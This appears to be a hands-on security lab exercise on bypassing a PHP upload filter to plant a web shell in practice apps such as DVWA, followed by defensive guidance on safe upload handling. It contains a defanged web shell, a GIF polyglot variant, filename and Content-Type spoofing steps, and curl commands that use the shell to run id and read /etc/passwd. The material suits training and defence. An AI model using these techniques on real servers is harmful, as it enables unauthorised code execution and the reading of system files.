Upload Filter Bypass to Web Shell

The upload form says "images only." The server disagrees about what counts as an image.

Scenario

You are testing a legacy PHP application that lets users upload a profile picture. The developer added a filter: the application checks the filename extension and rejects anything that is not .jpg, .jpeg, .gif, or .png. The actual file content is never inspected. Your goal is to defeat this filter, land a PHP file on the server, and reach it through the browser to execute operating-system commands.

Setup - choose one:

# Option A: DVWA (Damn Vulnerable Web Application) via Docker
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Navigate to http://localhost:8080, log in (admin / password), set Security to Low
# Go to: DVWA Security -> set Low, then File Upload from the menu
 
# Option B: upload-labs (dedicated upload-bypass practice)
$ docker run -d -p 8080:80 c0ny1/upload-labs
# Navigate to http://localhost:8080 - start at Pass-01
 
# Option C: Mutillidae II
$ docker run -d -p 8080:80 webpwnized/mutillidae
# Navigate to OWASP Top 10 -> A04 Insecure Direct Object References -> Upload File

Your Objective

1. Identify the upload filter mechanism (client-side, extension check, MIME type, or content inspection)
2. Craft or rename a PHP file to bypass the extension filter
3. Determine the URL path where uploaded files are stored
4. Request your uploaded file through the browser and confirm command execution
5. (Stretch) Bypass a secondary MIME-type check using a polyglot file

Hints

Walkthrough

# Create a minimal PHP test file
$ echo "test" > test.php

<?php
// Defanged web shell. EXEC stands for a PHP command-execution function
// such as system(), shell_exec(), or passthru().
echo EXEC($_GET['cmd']);
?>

Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: image/jpeg

$ curl http://localhost:8080/hackable/uploads/

# Confirm execution - id shows which OS user the web server runs as
$ curl "http://localhost:8080/hackable/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
# List the web root
$ curl "http://localhost:8080/hackable/uploads/shell.php?cmd=ls+-la+/var/www/html"
 
# Read a sensitive file
$ curl "http://localhost:8080/hackable/uploads/shell.php?cmd=cat+/etc/passwd"

GIF89a
<?php
// Defanged web shell. EXEC stands for a PHP command-execution function
// such as system(), shell_exec(), or passthru().
echo EXEC($_GET['cmd']);
?>

Solution

Minimal bypass for a pure extension check:

1. Create a PHP file using the defanged shell template above.
2. Rename it to shell.php.jpg (double extension) or shell.phtml (alternative extension).
3. Upload - the filter passes it.
4. Request http://localhost:8080/hackable/uploads/shell.php.jpg?cmd=id.
5. Read the OS command output in the response body.

Burp intercept bypass (most reliable):

1. Start with any .jpg file.
2. Intercept the upload POST in Burp.
3. Change filename="photo.jpg" to filename="shell.php" in the request body.
4. Forward - the server stores shell.php.
5. Request the uploaded file with ?cmd=id.

Why the filter fails: Checking only the file extension (or only the Content-Type header supplied by the client) is entirely attacker-controlled. The server trusts data the attacker sends. Only inspecting the actual file bytes with a server-side library, and storing uploads outside the web root, break the attack chain.

Defend It

PHP - safe upload handling pattern:

// Check MIME type server-side using fileinfo, not the Content-Type header:
// $finfo = new finfo(FILEINFO_MIME_TYPE);
// $mime  = $finfo->file($_FILES['upload']['tmp_name']);
// $allowed = ['image/jpeg', 'image/png', 'image/gif'];
// if (!in_array($mime, $allowed)) { die('Rejected'); }
 
// Generate a random stored name - never use the attacker-supplied filename:
// $storedName = bin2hex(random_bytes(16)) . '.jpg';
 
// Store outside the web root so the file cannot be requested directly:
// $dest = '/var/uploads/' . $storedName;   // NOT /var/www/html/uploads/
// move_uploaded_file($_FILES['upload']['tmp_name'], $dest);

Hardening checklist:

• Store outside the web root - a file at /var/uploads/ cannot be fetched via HTTP even if PHP executes it.
• Randomize stored filenames - removes the attacker's ability to predict or guess the URL of their upload.
• Validate content with server-side magic-byte inspection - use finfo (PHP), python-magic, or equivalent; never trust the client-supplied Content-Type header.
• Allowlist extensions and MIME types - reject anything not on the allowlist rather than trying to blocklist dangerous types.
• Serve uploads through a controller script - the controller reads the file from the safe location and streams it as a response; the file is never directly accessible as a URL.
• Set Content-Disposition: attachment - forces downloads instead of in-browser rendering, preventing MIME-sniffing execution.

Key Takeaways

• A file-upload filter is only as strong as what the server actually checks - extension, Content-Type header, and magic bytes are all attacker-controllable to varying degrees.
• Storing uploaded files inside the web root is the root cause; even a perfect extension check is undermined if the server later executes the file.
• Polyglot files exploit the fact that a single byte sequence can satisfy two format validators simultaneously - valid image header, valid PHP payload.
• Defence in depth (random name + storage outside web root + content inspection + no-execute permissions) eliminates the attack even if one control is bypassed.